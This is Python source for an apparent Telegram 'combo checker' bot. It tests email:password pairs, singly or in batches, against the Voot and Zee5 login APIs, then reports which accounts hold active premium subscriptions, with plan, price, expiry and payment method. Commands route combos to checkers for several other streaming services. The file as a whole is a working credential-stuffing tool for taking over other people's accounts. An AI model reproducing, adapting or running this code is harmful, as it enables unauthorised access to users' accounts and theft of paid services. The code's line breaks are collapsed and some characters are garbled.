def Voot_helper(chat_id, combo): status = Sendmessage(chat_id, '<i>Checking...</i>') try: combo_split = combo.split(':') inpumail = combo_split[0] inpupass = combo_split[1] except IndexError: return Editmessage(chat_id, 'Enter Valid Combo😡😡', status) session_requests = requests.session() email = f'"email": "{inpumail}"' password = f'"password":"******"' payload = '{"type":"traditional","deviceId":"X11","deviceBrand":"PC/MAC","data":{%s,%s}}' % ( email, password) login_url = "https://userauth.voot.com/usersV3/v3/login" result = session_requests.post(login_url, data=payload, headers=head) response = result.json() if result.status_code != 200: logger.info('Login Failed') code = response['status']['code'] msg = response['status']['message'] text = f'<b>Bad Combo �</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Error\nCode: {code}\nMessage: {msg}\nSite: Voot</b>' Editmessage(chat_id, text, status) return acess = response['data']['authToken']['accessToken'] head2 = { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'sec-fetch-site': 'same-site', 'sec-fetch-mode': 'cors', 'sec-fetch-dest': 'empty', 'accesstoken': str(acess), } subs_url = 'https://pxapi.voot.com/smsv4/int/ps/v1/voot/transaction/list' response = session_requests.get(subs_url, headers=head2) result = response.json() total = result['results']['total'] if int(total) == 0: free_text = f'<b>Expired Combo �</b>\n<b>Site: Voot</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Expired</b>' Editmessage(chat_id, free_text, status) return pay_list = result['results']['list'][0] ts = int(pay_list['endDate']['timeStamp']) print(ts) try: human = datetime.utcfromtimestamp(ts) except ValueError: human = datetime.fromtimestamp(ts/1000.0) expire = human < datetime.today() if expire: expire_text = f'<b>Expired Combo �</b>\n<b>Site: Voot</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Expired</b>' Editmessage(chat_id, expire_text, status) return Pack_name = pay_list['itemDetails']['name'] Pack_recur = pay_list['itemDetails']['isRenewable'] days = human - datetime.today() pro_message = f'<b>🌟 Hit Combo 💫</b>\n<b>Site: Voot</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Premium\nPlan: {Pack_name}\nDays Left: {days.days}\nRecurring: {Pack_recur}</b>' Editmessage(chat_id, pro_message, status)
def main(): updater = Updater(bot_token, use_context=True) dp = updater.dispatcher dp.add_handler(MessageHandler(Filters.text & ~Filters.command, duty)) dp.add_handler(CommandHandler("scrape", scraperdfnc)) dp.add_handler(CommandHandler("start", start)) dp.add_handler(CommandHandler("help", help)) logger.info("Bot Started!!!") updater.start_polling() updater.idle()
def zee_helper(chat_id, combo): status = Sendmessage(chat_id, '<i>Checking....</i>') try: combo_split = combo.split(':') inpumail = combo_split[0] inpupass = combo_split[1] except IndexError: Editmessage(chat_id, 'Enter Valid Combo😡😡', status) return session_requests = requests.session() email = f'"email": "{inpumail}"' password = f'"password":"******"' payload = '{%s,%s}' % (email, password) login_url = "https://userapi.zee5.com/v2/user/loginemail" result = session_requests.post(login_url, data=payload, headers=head) response = result.json() if result.status_code != 200: logger.info('Login Failed') code = response['code'] msg = response['message'] text = f'<b>Bad Combo �</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Error\nCode: {code}\nMessage: {msg}\nSite: Zee5</b>' Editmessage(chat_id, text, status) return acess = response['access_token'] head2 = { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 'accept': '*/*', 'sec-fetch-site': 'same-site', 'sec-fetch-mode': 'cors', 'sec-fetch-dest': 'empty', 'authorization': 'bearer ' + str(acess), } subs_url = 'https://subscriptionapi.zee5.com/v1/subscription?translation=en&country=IN&include_all=flase' response1 = session_requests.get(subs_url, headers=head2) result1 = response1.json() # print(result1) if result1 == []: expire_text = f'<b>Expired Combo �</b>\n<b>Site: Zee5</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Expired</b>' Editmessage(chat_id, expire_text, status) return timedioint = result1[0]["subscription_end"].split('T')[0] sub2split = timedioint.split('-') trial = date(int(sub2split[0]), int(sub2split[1]), int( sub2split[2])) - date.today() Pack_name = result1[0]['subscription_plan']['title'] pack_price = str(result1[0]['subscription_plan']['price']) Pack_recur = result1[0]['recurring_enabled'] Pack_pyed = result1[0]['payment_provider'] pro_message = f'<b>🌟 Hit Combo 💫</b>\n<b>Site: Zee5</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Plan: {Pack_name}\nPrice: {pack_price} INR\nDays Left: {trial.days} Days\nPayment: {Pack_pyed}\nRecurring: {Pack_recur}</b>' # print(pro_message) Editmessage(chat_id, pro_message, status)
def duty(update, context): chat_id = update.message.chat_id text = update.message.text.split(' ', 1) if text[0] == '!alt': if '\n' in text[1]: simple = combos_spilt(text[1]) for i in simple: altbalaji_helper(chat_id, i) Sendmessage(chat_id, 'Completed') else: altbalaji_helper(chat_id, text[1]) elif text[0] == '!voo': if '\n' in text[1]: simple = combos_spilt(text[1]) for i in simple: Voot_helper(chat_id, i) Sendmessage(chat_id, 'Completed') else: Voot_helper(chat_id, text[1]) elif text[0] == '!hoi': if '\n' in text[1]: simple = combos_spilt(text[1]) for i in simple: hoichoi_helper(chat_id, i) Sendmessage(chat_id, 'Completed') else: hoichoi_helper(chat_id, text[1]) elif text[0] == '!zee': if '\n' in text[1]: simple = combos_spilt(text[1]) for i in simple: zee_helper(chat_id, i) Sendmessage(chat_id, 'Completed') else: zee_helper(chat_id, text[1]) elif text[0] == '!sun': if '\n' in text[1]: simple = combos_spilt(text[1]) for i in simple: Sun_helper(chat_id, i) Sendmessage(chat_id, 'Completed') else: Sun_helper(chat_id, text[1]) elif text[0] == '!pst': try: throwbin(chat_id, text[1]) except IndexError: Sendmessage(chat_id, "<i>Somethings wrong with your format!</i>") else: logger.info('Unknown Command')